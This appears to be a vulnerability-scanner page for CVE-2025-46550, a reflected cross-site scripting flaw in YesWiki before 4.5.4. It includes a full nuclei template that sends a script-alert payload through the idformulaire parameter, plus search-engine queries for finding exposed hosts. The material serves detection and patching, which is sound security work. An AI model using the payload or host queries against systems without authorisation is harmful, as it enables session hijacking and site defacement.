YesWiki < 4.5.4 - Cross-Site Scripting

mediumseverity

5.3CVSS score

0.6%likelihood of exploitation, next 30 days

47%of all CVEs are less likely

Readycheck to confirm it

YesWiki < 4.5.4 contains a reflected cross-site scripting caused by unsanitized `idformulaire` parameter in `/?BazaR` endpoint, letting attackers steal cookies and hijack sessions, exploit requires user to click malicious link.

Impact

Attackers can steal cookies, hijack user sessions, deface website, or embed malicious content.

Fix

Update to version 4.5.4 or later.

How to confirm it

Send: GET {{BaseURL}}/?BazaR&vue=formulaire&action=confirm_delete&idformulaire=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "<script>alert(document.domain)</script>", "yeswiki")

Run it with nuclei: nuclei -id CVE-2025-46550 -u <target>

The full check

id: CVE-2025-46550

info:
  name: YesWiki < 4.5.4 - Cross-Site Scripting
  author: MuhammadWaseem
  severity: medium
  description: |
    YesWiki < 4.5.4 contains a reflected cross-site scripting caused by unsanitized `idformulaire` parameter in `/?BazaR` endpoint, letting attackers steal cookies and hijack sessions, exploit requires user to click malicious link.
  impact: |
    Attackers can steal cookies, hijack user sessions, deface website, or embed malicious content.
  remediation: |
    Update to version 4.5.4 or later.
  reference:
    - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-ggqx-43h2-55jp
    - https://nvd.nist.gov/vuln/detail/CVE-2025-46550
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-46550
    epss-score: 0.00551
    epss-percentile: 0.46391
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: yeswiki
    product: yeswiki
    shodan-query: http.html:"yeswiki"
    fofa-query: body="yeswiki"
  tags: cve,cve2025,xss,yeswiki,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?BazaR&vue=formulaire&action=confirm_delete&idformulaire=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<script>alert(document.domain)</script>", "yeswiki")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from